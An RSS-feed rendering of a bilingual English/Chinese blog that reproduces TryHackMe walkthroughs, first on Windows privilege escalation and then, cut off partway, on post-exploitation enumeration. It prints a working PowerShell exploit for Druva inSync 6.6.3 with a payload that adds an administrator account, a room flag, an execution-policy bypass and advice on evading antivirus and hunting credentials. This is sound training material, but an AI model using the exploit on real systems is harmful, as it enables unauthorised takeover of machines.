&lt;p&gt;Once we have gathered product version information, we can always search for existing exploits on the installed software online on sites like &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;exploit-db&lt;/a&gt;, &lt;a href=&quot;https://packetstormsecurity.com/&quot;&gt;packet storm&lt;/a&gt; or plain old &lt;a href=&quot;https://www.google.com/&quot;&gt;Google&lt;/a&gt;, amongst many others.&lt;br&gt;一旦我们收集了产品版本信息，我们就可以随时在 exploit-db、packet storm 或普通的旧 Google 等网站上在线搜索已安装软件上的现有漏洞。&lt;/p&gt;
&lt;p&gt;Using wmic and Google, can you find a known vulnerability on any installed product?&lt;br&gt;使用 wmic 和 Google，您能否在任何已安装的产品上找到已知漏洞？&lt;/p&gt;
&lt;h2&gt;Case Study: Druva inSync 6.6.3&lt;/h2&gt;
&lt;p&gt;案例研究：Druva inSync 6.6.3
The target server is running Druva inSync 6.6.3, which is vulnerable to privilege escalation as reported by &lt;a href=&quot;https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/&quot;&gt;Matteo Malvica&lt;/a&gt;. The vulnerability results from a bad patch applied over another vulnerability reported initially for version 6.5.0 by &lt;a href=&quot;https://www.tenable.com/security/research/tra-2020-12&quot;&gt;Chris Lyne&lt;/a&gt;.&lt;br&gt;目标服务器正在运行 Druva inSync 6.6.3，正如 Matteo Malvica 报告的那样，它容易受到权限升级的影响。该漏洞是由 Chris Lyne 最初报告的 6.5.0 版的另一个漏洞上应用的坏补丁引起的。&lt;/p&gt;
&lt;p&gt;The software is vulnerable because it runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible from localhost only. If you aren&amp;#39;t familiar with RPC, it is simply a mechanism that allows a given process to expose functions (called procedures in RPC lingo) over the network so that other machines can call them remotely.&lt;br&gt;该软件容易受到攻击，因为它在端口 6064 上运行具有 SYSTEM 权限的 RPC（远程过程调用）服务器，只能从 localhost 访问。如果您不熟悉 RPC，它只是一种机制，它允许给定进程通过网络公开函数（在 RPC 术语中称为过程），以便其他计算机可以远程调用它们。&lt;/p&gt;
&lt;p&gt;In the case of Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command gets executed with SYSTEM privileges.&lt;br&gt;在 Druva inSync 的情况下，端口 6064 上公开的过程之一（特别是过程编号 5）允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行，因此任何命令都以 SYSTEM 权限执行。&lt;/p&gt;
&lt;p&gt;The original vulnerability reported on versions 6.5.0 and prior allowed any command to be run without restrictions. The original idea behind providing such functionality was to remotely execute some specific binaries provided with inSync, rather than any command. Still, no check was made to make sure of that.&lt;br&gt;版本 6.5.0 及更早版本上报告的原始漏洞允许不受限制地运行任何命令。提供此类功能的最初想法是远程执行 inSync 提供的某些特定二进制文件，而不是任何命令。尽管如此，还是没有进行任何检查来确保这一点。&lt;/p&gt;
&lt;p&gt;A patch was issued, where they decided to check that the executed command started with the string *&lt;em&gt;C:\ProgramData\Druva\inSync4*&lt;/em&gt;, where the allowed binaries were supposed to be. But then, this proved insufficient since you could simply make a path traversal attack to bypass this kind of control. Suppose that you want to execute &lt;strong&gt;C:\Windows\System32\cmd.exe&lt;/strong&gt;, which is not in the allowed path; you could simply ask the server to run &lt;strong&gt;C:\ProgramData\Druva\inSync4......\Windows\System32\cmd.exe&lt;/strong&gt; and that would bypass the check successfully.&lt;br&gt;发布了一个补丁，他们决定检查执行的命令是否以字符串开头 *&lt;em&gt;C:\ProgramData\Druva\inSync4*&lt;/em&gt; ，允许的二进制文件应该在其中。但是，这被证明是不够的，因为你可以简单地进行路径遍历攻击来绕过这种控制。假设您要执行 &lt;strong&gt;C:\Windows\System32\cmd.exe&lt;/strong&gt; ，它不在允许的路径中;您可以简单地要求服务器运行 &lt;strong&gt;C:\ProgramData\Druva\inSync4......\Windows\System32\cmd.exe&lt;/strong&gt; ，这将成功绕过检查。&lt;/p&gt;
&lt;p&gt;To put together a working exploit, we need to understand how to talk to port 6064. Luckily for us, the protocol in use is straightforward, and the packets to be sent are depicted in the following diagram:&lt;br&gt;为了整合一个有效的漏洞，我们需要了解如何与端口 6064 通信。幸运的是，使用的协议很简单，要发送的数据包如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The first packet is simply a hello packet that contains a fixed string. The second packet indicates that we want to execute procedure number 5, as this is the vulnerable procedure that will execute any command for us. The last two packets are used to send the length of the command and the command string to be executed, respectively.&lt;br&gt;第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表示我们要执行第 5 个过程，因为这是将为我们执行任何命令的易受攻击的过程。最后两个数据包分别用于发送要执行的命令长度和命令字符串。&lt;/p&gt;
&lt;p&gt;Initially published by Matteo Malvica &lt;a href=&quot;https://packetstormsecurity.com/files/160404/Druva-inSync-Windows-Client-6.6.3-Privilege-Escalation.html&quot;&gt;here&lt;/a&gt;, the following exploit can be used in your target machine to elevate privileges and retrieve this task&amp;#39;s flag. For your convenience, here is the original exploit&amp;#39;s code:&lt;br&gt;最初由 Matteo Malvica 在此处发布，以下漏洞可用于目标计算机来提升权限并检索此任务的标志。为方便起见，以下是原始漏洞的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$ErrorActionPreference = &amp;quot;Stop&amp;quot;

$cmd = &amp;quot;net user pwnd /add&amp;quot;

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect(&amp;quot;127.0.0.1&amp;quot;, 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes(&amp;quot;inSync PHC RPCW[v0002]&amp;quot;)
$rpcType = [System.Text.Encoding]::UTF8.GetBytes(&amp;quot;$([char]0x0005)`0`0`0&amp;quot;)
$command = [System.Text.Encoding]::Unicode.GetBytes(&amp;quot;C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd&amp;quot;);
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can pop a Powershell console and paste the exploit directly to execute it (The exploit is also available in the target machine at &lt;strong&gt;C:\tools\Druva_inSync_exploit.txt&lt;/strong&gt;). Note that the exploit&amp;#39;s default payload, specified in the &lt;strong&gt;$cmd&lt;/strong&gt; variable, will create a user named &lt;strong&gt;pwnd&lt;/strong&gt; in the system, but won&amp;#39;t assign him administrative privileges, so we will probably want to change the payload for something more useful. For this room, we will change the payload to run the following command:&lt;br&gt;可以弹出 Powershell 控制台并直接粘贴漏洞以执行它（该漏洞在目标计算机中 &lt;strong&gt;C:\tools\Druva_inSync_exploit.txt&lt;/strong&gt; 也可用）。请注意， &lt;strong&gt;$cmd&lt;/strong&gt; 该漏洞的默认有效负载（在变量中指定）将创建一个在系统中命名 &lt;strong&gt;pwnd&lt;/strong&gt; 的用户，但不会为他分配管理权限，因此我们可能需要更改有效负载以获得更有用的内容。对于此房间，我们将更改有效负载以运行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;net user pwnd SimplePass123 /add &amp;amp; net localgroup administrators pwnd /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create user &lt;strong&gt;pwnd&lt;/strong&gt; with a password of &lt;strong&gt;SimplePass123&lt;/strong&gt; and add it to the administrators&amp;#39; group. If the exploit was successful, you should be able to run the following command to verify that the user &lt;strong&gt;pwnd&lt;/strong&gt; exists and is part of the administrators&amp;#39; group:&lt;br&gt;这将创建 &lt;strong&gt;pwnd&lt;/strong&gt; 密码为 的用户 &lt;strong&gt;SimplePass123&lt;/strong&gt; ，并将其添加到管理员组。如果漏洞利用成功，您应该能够运行以下命令来验证该用户 &lt;strong&gt;pwnd&lt;/strong&gt; 是否存在并且是管理员组的一部分：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\&amp;gt; net user pwnd
User name                    pwnd
Full Name
Account active               Yes
[...]

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a last step, you can run a command prompt as administrator:&lt;br&gt;最后一步，您可以以管理员身份运行命令提示符：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Privilege%20Escalation-14.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;When prompted for credentials, use the &lt;strong&gt;pwnd&lt;/strong&gt; account. From the new command prompt, you can retrieve your flag from the Administrator&amp;#39;s desktop with the following command &lt;strong&gt;type C:\Users\Administrator\Desktop\flag.txt&lt;/strong&gt;&lt;br&gt;当系统提示输入凭据时，请使用该 &lt;strong&gt;pwnd&lt;/strong&gt; 帐户。在新的命令提示符下，您可以使用以下命令 &lt;strong&gt;type C:\Users\Administrator\Desktop\flag.txt&lt;/strong&gt; 从管理员的桌面检索您的标志.&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Get the flag on the Administrator&amp;#39;s desktop.&lt;br&gt;在管理员的桌面上获取标志。&lt;/p&gt;
&lt;p&gt;THM{EZ_DLL_PROXY_4ME}&lt;/p&gt;
&lt;h1&gt;Tools of the Trade&lt;/h1&gt;
&lt;p&gt;Several scripts exist to conduct system enumeration in ways similar to the ones seen in the previous task. These tools can shorten the enumeration process time and uncover different potential privilege escalation vectors. However, please remember that automated tools can sometimes miss privilege escalation.&lt;br&gt;存在多个脚本，用于以与上一个任务中类似的方式执行系统枚举。这些工具可以缩短枚举过程时间，并发现不同的潜在权限提升向量。但是，请记住，自动化工具有时可能会错过权限提升。&lt;/p&gt;
&lt;p&gt;Below are a few tools commonly used to identify privilege escalation vectors. Feel free to run them against any of the machines in this room and see if the results match the discussed attack vectors.&lt;br&gt;以下是一些常用于识别权限提升向量的工具。随意对本房间中的任何一台机器运行它们，看看结果是否与讨论的攻击媒介相匹配。&lt;/p&gt;
&lt;h2&gt;WinPEAS WinPEAS公司&lt;/h2&gt;
&lt;p&gt;WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths. You can find more information about winPEAS and download either the precompiled executable or a .bat script. WinPEAS will run commands similar to the ones listed in the previous task and print their output. The output from winPEAS can be lengthy and sometimes difficult to read. This is why it would be good practice to always redirect the output to a file, as shown below:&lt;br&gt;WinPEAS 是一个脚本，用于枚举目标系统以发现权限提升路径。您可以找到有关 winPEAS 的详细信息，并下载预编译的可执行文件或.bat脚本。WinPEAS 将运行与上一个任务中列出的命令类似的命令并打印其输出。winPEAS 的输出可能很长，有时难以阅读。这就是为什么最好始终将输出重定向到文件的原因，如下所示：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; winpeas.exe &amp;gt; outputfile.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WinPEAS can be downloaded &lt;a href=&quot;https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS&quot;&gt;here&lt;/a&gt;.&lt;br&gt;WinPEAS可以在这里下载。  &lt;/p&gt;
&lt;h2&gt;PrivescCheck PrivescCheck（特权检查）&lt;/h2&gt;
&lt;p&gt;PrivescCheck is a &lt;u&gt;PowerShell&lt;/u&gt; script that searches common privilege escalation on the target system. It provides an alternative to WinPEAS without requiring the execution of a binary file.&lt;br&gt;PrivescCheck 是一个 PowerShell 脚本，用于搜索目标系统上的常见权限提升。它提供了WinPEAS的替代方案，而无需执行二进制文件。&lt;/p&gt;
&lt;p&gt;PrivescCheck can be downloaded &lt;a href=&quot;https://github.com/itm4n/PrivescCheck&quot;&gt;here&lt;/a&gt;.&lt;br&gt;PrivescCheck可以在这里下载。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reminder&lt;/strong&gt;: To run PrivescCheck on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can use the &lt;strong&gt;Set-ExecutionPolicy&lt;/strong&gt; cmdlet as shown below.&lt;br&gt;提醒：要在目标系统上运行 PrivescCheck，您可能需要绕过执行策略限制。为此，可以使用如下所示的 &lt;strong&gt;Set-ExecutionPolicy&lt;/strong&gt; cmdlet。&lt;/p&gt;
&lt;p&gt;Powershell Powershell的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\&amp;gt; Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\&amp;gt; . .\PrivescCheck.ps1
PS C:\&amp;gt; Invoke-PrivescCheck
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WES-NG: Windows Exploit Suggester - Next Generation&lt;/h2&gt;
&lt;p&gt;WES-NG：Windows 漏洞利用建议程序 - 下一代
Some exploit suggesting scripts (e.g. winPEAS) will require you to upload them to the target system and run them there. This may cause antivirus software to detect and delete them. To avoid making unnecessary noise that can attract attention, you may prefer to use WES-NG, which will run on your attacking machine (e.g. Kali or TryHackMe AttackBox).&lt;br&gt;一些漏洞利用建议脚本（例如winPEAS）将要求您将它们上传到目标系统并在那里运行它们。这可能会导致防病毒软件检测并删除它们。为了避免产生可能引起注意的不必要噪音，您可能更喜欢使用 WES-NG，它将在您的攻击机器上运行（例如 Kali 或 TryHackMe AttackBox）。&lt;/p&gt;
&lt;p&gt;WES-NG is a Python script that can be found and downloaded &lt;a href=&quot;https://github.com/bitsadmin/wesng&quot;&gt;here&lt;/a&gt;.&lt;br&gt;WES-NG 是一个 Python 脚本，可以在此处找到和下载。&lt;/p&gt;
&lt;p&gt;Once installed, and before using it, type the &lt;strong&gt;wes.py --update&lt;/strong&gt; command to update the database. The script will refer to the database it creates to check for missing patches that can result in a vulnerability you can use to elevate your privileges on the target system.&lt;br&gt;安装后，在使用它之前，键入 &lt;strong&gt;wes.py --update&lt;/strong&gt; 命令以更新数据库。该脚本将引用它创建的数据库，以检查缺少的补丁，这些补丁可能导致漏洞，您可以使用这些漏洞来提升您在目标系统上的权限。&lt;/p&gt;
&lt;p&gt;To use the script, you will need to run the &lt;strong&gt;systeminfo&lt;/strong&gt; command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.&lt;br&gt;要使用该脚本，您需要在目标系统上运行该 &lt;strong&gt;systeminfo&lt;/strong&gt; 命令。不要忘记将输出定向到您需要移动到攻击机器的.txt文件。&lt;/p&gt;
&lt;p&gt;Once this is done, wes.py can be run as follows;&lt;br&gt;完成此操作后，可以按如下方式运行 wes.py;&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@kali$ wes.py systeminfo.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;u&gt;Metasploit&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Metasploit的&lt;/u&gt;&lt;/h2&gt;
&lt;p&gt;If you already have a &lt;u&gt;Meterpreter&lt;/u&gt; shell on the target system, you can use the &lt;strong&gt;multi/recon/local_exploit_suggester&lt;/strong&gt; module to list vulnerabilities that may affect the target system and allow you to elevate your privileges on the target system.&lt;br&gt;如果目标系统上已有 Meterpreter shell，则可以使用该 &lt;strong&gt;multi/recon/local_exploit_suggester&lt;/strong&gt; 模块列出可能影响目标系统的漏洞，并允许您提升目标系统上的权限。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-privilege-escalation/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-windows-privilege-escalation/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 21 May 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Enumeration</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-enumeration/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-enumeration/</guid><description>Red Teaming</description><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;This room focuses on post-exploitation enumeration. In other words, we assume that we have successfully gained some form of access to a system. Moreover, we may have carried out privilege escalation; in other words, we might have administrator or root privileges on the target system. Some of the techniques and tools discussed in this room would still provide helpful output even with an unprivileged account, i.e., not root or administrator.&lt;br&gt;本会议室重点介绍开发后的枚举。换句话说，我们假设我们已经成功地获得了对系统的某种形式的访问。此外，我们可能已经进行了特权升级;换句话说，我们可能在目标系统上拥有管理员或root权限。本会议室中讨论的一些技术和工具仍将提供有用的输出，即使使用非特权帐户，即不是root或管理员。&lt;/p&gt;
&lt;p&gt;If you are interested in privilege escalation, you can check the &lt;a href=&quot;https://tryhackme.com/room/windowsprivesc20&quot;&gt;Windows Privilege Escalation&lt;/a&gt; room and the &lt;a href=&quot;https://tryhackme.com/room/linprivesc&quot;&gt;LinuxPrivEsc&lt;/a&gt; room. Moreover, there are two handy scripts, &lt;a href=&quot;https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS&quot;&gt;WinPEAS&lt;/a&gt; and &lt;a href=&quot;https://grimbins.github.io/grimbins/linpeas/&quot;&gt;LinPEAS&lt;/a&gt; for MS Windows and &lt;u&gt;Linux&lt;/u&gt; privilege escalation respectively.&lt;br&gt;如果您对权限提升感兴趣，可以查看 Windows 权限提升室和 Linux PrivEsc 室。此外，还有两个方便的脚本，WinPEAS 和 LinPEAS，分别用于 MS Windows 和 Linux 权限提升。&lt;/p&gt;
&lt;p&gt;Our purpose is to collect more information that will aid us in gaining more access to the target network. For example, we might find the login credentials to grant access to another system. We focus on tools commonly available on standard systems to collect more information about the target. Being part of the system, such tools look innocuous and cause the least amount of &amp;quot;noise&amp;quot;.&lt;br&gt;我们的目的是收集更多信息，以帮助我们获得对目标网络的更多访问。例如，我们可能会找到登录凭据以授予对另一个系统的访问权限。我们专注于标准系统上常用的工具，以收集有关目标的更多信息。作为系统的一部分，这些工具看起来无害，并且产生的“噪音”最少。&lt;/p&gt;
&lt;p&gt;We assume you have access to a command-line interface on the target, such as &lt;strong&gt;bash&lt;/strong&gt; on a &lt;u&gt;Linux&lt;/u&gt; system or &lt;strong&gt;cmd.exe&lt;/strong&gt; on an MS Windows system. Starting with one type of shell on a &lt;u&gt;Linux&lt;/u&gt; system, it is usually easy to switch to another one. Similarly, starting from &lt;strong&gt;cmd.exe&lt;/strong&gt;, you can switch to &lt;u&gt;PowerShell&lt;/u&gt; if available. We just issued the command &lt;strong&gt;powershell.exe&lt;/strong&gt; to start the &lt;u&gt;PowerShell&lt;/u&gt; interactive command line in the terminal below.&lt;br&gt;我们假设您可以访问目标上的命令行界面，例如 &lt;strong&gt;bash&lt;/strong&gt; 在 Linux 系统或 &lt;strong&gt;cmd.exe&lt;/strong&gt; MS Windows 系统上。从 Linux 系统上的一种类型的 shell 开始，通常很容易切换到另一种类型的 shell。同样，从 &lt;strong&gt;cmd.exe&lt;/strong&gt; 开始，可以切换到 PowerShell（如果可用）。我们刚刚发出了命令 &lt;strong&gt;powershell.exe&lt;/strong&gt; ，以在下面的终端中启动 PowerShell 交互式命令行。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ Microsoft Windows [Version 10.0.17763.2928]
(c) 2018 Microsoft Corporation. All rights reserved.

strategos@RED-WIN-ENUM C:\Users\strategos&amp;gt;powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\strategos&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This room is organized as follows:&lt;br&gt;这个房间的组织方式如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Purpose of enumeration 枚举目的&lt;/li&gt;
&lt;li&gt;&lt;u&gt;Linux&lt;/u&gt; enumeration with commonly-installed tools: System, users, networking, and running services&lt;br&gt;使用常用安装的工具的 Linux 枚举：系统、用户、网络和运行服务&lt;/li&gt;
&lt;li&gt;MS Windows enumeration with built-in tools: System, users, networking, and running services&lt;br&gt;使用内置工具的 MS Windows 枚举：系统、用户、网络和运行服务&lt;/li&gt;
&lt;li&gt;Examples of additional tools: Seatbelt&lt;br&gt;其他工具示例：安全带&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Although it is not strictly necessary, we advise completing &lt;a href=&quot;https://tryhackme.com/room/thelayoftheland&quot;&gt;The Lay of the Land&lt;/a&gt; room before going through this one.&lt;br&gt;虽然这不是绝对必要的，但我们建议在完成这个房间之前完成 The Lay of the Land 房间。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What command would you use to start the PowerShell interactive command line?&lt;br&gt;你会使用什么命令来启动 PowerShell 交互式命令行？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;powershell.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Purpose&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Enumeration-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;When you gain a “shell” on the target system, you usually have very basic knowledge of the system. If it is a server, you already know which service you have exploited; however, you don’t necessarily know other details, such as usernames or network shares. Consequently, the shell will look like a “dark room” where you have an incomplete and vague knowledge of what’s around you. In this sense, enumeration helps you build a more complete and accurate picture.&lt;br&gt;当你在目标系统上获得一个“外壳”时，你通常对系统有非常基本的了解。如果是服务器，您已经知道您利用了哪个服务;但是，您不一定知道其他详细信息，例如用户名或网络共享。因此，外壳看起来像一个“暗室”，你对周围的事物有一个不完整和模糊的了解。从这个意义上说，枚举可以帮助您构建更完整、更准确的图片。&lt;/p&gt;
&lt;p&gt;The purpose behind post-exploitation enumeration is to gather as much information about the system and its network. The exploited system might be a company desktop/laptop or a server. We aim to collect the information that would allow us to pivot to other systems on the network or to loot the current system. Some of the information we are interested in gathering include:&lt;br&gt;利用后枚举的目的是收集尽可能多的有关系统及其网络的信息。被利用的系统可能是公司台式机/笔记本电脑或服务器。我们的目标是收集信息，使我们能够转向网络上的其他系统或掠夺当前系统。我们有兴趣收集的一些信息包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Users and groups 用户和组&lt;/li&gt;
&lt;li&gt;Hostnames 主机名&lt;/li&gt;
&lt;li&gt;Routing tables 路由表&lt;/li&gt;
&lt;li&gt;Network shares 网络共享&lt;/li&gt;
&lt;li&gt;Network services 网络服务&lt;/li&gt;
&lt;li&gt;Applications and banners&lt;br&gt;应用程序和横幅&lt;/li&gt;
&lt;li&gt;&lt;u&gt;Firewall&lt;/u&gt; configurations 防火墙配置&lt;/li&gt;
&lt;li&gt;Service settings and audit configurations&lt;br&gt;服务设置和审核配置&lt;/li&gt;
&lt;li&gt;SNMP and &lt;u&gt;DNS&lt;/u&gt; details SNMP 和 DNS 详细信息&lt;/li&gt;
&lt;li&gt;Hunting for credentials (saved on web browsers or client applications)&lt;br&gt;搜寻凭据（保存在 Web 浏览器或客户端应用程序上）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is no way to list everything we might stumble upon. For instance, we might find &lt;u&gt;SSH&lt;/u&gt; keys that might grant us access to other systems. In &lt;u&gt;SSH&lt;/u&gt; key-based authentication, we generate an &lt;u&gt;SSH&lt;/u&gt; key pair (public and private keys); the public key is installed on a server. Consequently, the server would trust any system that can prove knowledge of the related private key.&lt;br&gt;没有办法列出我们可能偶然发现的一切。例如，我们可能会找到可能授予我们访问其他系统的 SSH 密钥。在基于 SSH 密钥的身份验证中，我们生成一个 SSH 密钥对（公钥和私钥）;公钥安装在服务器上。因此，服务器将信任任何可以证明知道相关私钥的系统。&lt;/p&gt;
&lt;p&gt;Furthermore, we might stumble upon sensitive data saved among the user’s documents or desktop directories. Think that someone might keep a &lt;strong&gt;passwords.txt&lt;/strong&gt; or &lt;strong&gt;passwords.xlsx&lt;/strong&gt; instead of a proper password manager. Source code might also contain keys and passwords left lurking around, especially if the source code is not intended to be made public.&lt;br&gt;此外，我们可能会偶然发现保存在用户文档或桌面目录中的敏感数据。认为有人可能会保留一个 &lt;strong&gt;passwords.txt&lt;/strong&gt; 或 &lt;strong&gt;passwords.xlsx&lt;/strong&gt; 而不是一个适当的密码管理器。源代码还可能包含潜伏在周围的密钥和密码，尤其是在源代码不打算公开的情况下。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;In SSH key-based authentication, which key does the client need?&lt;br&gt;在基于 SSH 密钥的身份验证中，客户端需要哪个密钥？&lt;/p&gt;
&lt;p&gt;private keys&lt;/p&gt;
&lt;h1&gt;Linux Enumeration&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Enumeration-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This task focuses on enumerating a &lt;u&gt;Linux&lt;/u&gt; machine after accessing a shell, such as &lt;strong&gt;bash&lt;/strong&gt;. Although some commands provide information on more than one area, we tried to group the commands into four categories depending on the information we expect to acquire.&lt;br&gt;此任务侧重于在访问 shell 后枚举 Linux 计算机，例如 &lt;strong&gt;bash&lt;/strong&gt; .尽管某些命令提供了多个区域的信息，但我们尝试根据预期获取的信息将命令分为四类。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;System 系统&lt;/li&gt;
&lt;li&gt;Users 用户&lt;/li&gt;
&lt;li&gt;Networking 联网&lt;/li&gt;
&lt;li&gt;Running Services 运行服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We recommend that you click &amp;quot;&lt;strong&gt;Start AttackBox&lt;/strong&gt;&amp;quot; and &amp;quot;&lt;strong&gt;Start Machine&lt;/strong&gt;&amp;quot; so that you can experiment and answer the questions at the end of this task.&lt;br&gt;建议您单击“启动 AttackBox”和“启动机器”，以便您可以在此任务结束时进行实验并回答问题。&lt;/p&gt;
&lt;h3&gt;System 系统&lt;/h3&gt;
&lt;p&gt;On a &lt;u&gt;Linux&lt;/u&gt; system, we can get more information about the &lt;u&gt;Linux&lt;/u&gt; distribution and release version by searching for files or links that end with &lt;strong&gt;-release&lt;/strong&gt; in &lt;strong&gt;/etc/&lt;/strong&gt;. Running &lt;strong&gt;ls /etc/*-release&lt;/strong&gt; helps us find such files. Let’s see what things look like on a CentOS &lt;u&gt;Linux&lt;/u&gt;.&lt;br&gt;在 Linux 系统上，我们可以通过搜索以 &lt;strong&gt;-release&lt;/strong&gt; 结尾 &lt;strong&gt;/etc/&lt;/strong&gt; 的文件或链接来获取有关 Linux 发行版和发行版的更多信息。运行 &lt;strong&gt;ls /etc/*-release&lt;/strong&gt; 可以帮助我们找到此类文件。让我们看看在 CentOS Linux 上的情况。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Let’s try on a Fedora system.&lt;br&gt;让我们试试 Fedora 系统。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;We can find the system’s name using the command &lt;strong&gt;hostname&lt;/strong&gt;.&lt;br&gt;我们可以使用以下命令 &lt;strong&gt;hostname&lt;/strong&gt; 找到系统的名称。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Various files on a system can provide plenty of useful information. In particular, consider the following &lt;strong&gt;/etc/passwd&lt;/strong&gt;, &lt;strong&gt;/etc/group&lt;/strong&gt;, and &lt;strong&gt;/etc/shadow&lt;/strong&gt;. Any user can read the files &lt;strong&gt;passwd&lt;/strong&gt; and &lt;strong&gt;group&lt;/strong&gt;. However, the &lt;strong&gt;shadow&lt;/strong&gt; password file requires root privileges as it contains the hashed passwords. If you manage to break the hashes, you will know the user’s original password.&lt;br&gt;系统上的各种文件可以提供大量有用的信息。具体而言，请考虑以下 &lt;strong&gt;/etc/passwd&lt;/strong&gt; 、 &lt;strong&gt;/etc/group&lt;/strong&gt; 和 &lt;strong&gt;/etc/shadow&lt;/strong&gt; 。任何用户都可以读取文件 &lt;strong&gt;passwd&lt;/strong&gt; 和 &lt;strong&gt;group&lt;/strong&gt; .但是， &lt;strong&gt;shadow&lt;/strong&gt; 密码文件需要 root 权限，因为它包含哈希密码。如果您设法破解哈希值，您将知道用户的原始密码。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Similarly, various directories can reveal information about users and might contain sensitive files; one is the mail directories found at &lt;strong&gt;/var/mail/&lt;/strong&gt;.&lt;br&gt;同样，各种目录可能会泄露有关用户的信息，并且可能包含敏感文件;一种是在 中找到的 &lt;strong&gt;/var/mail/&lt;/strong&gt; 邮件目录。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
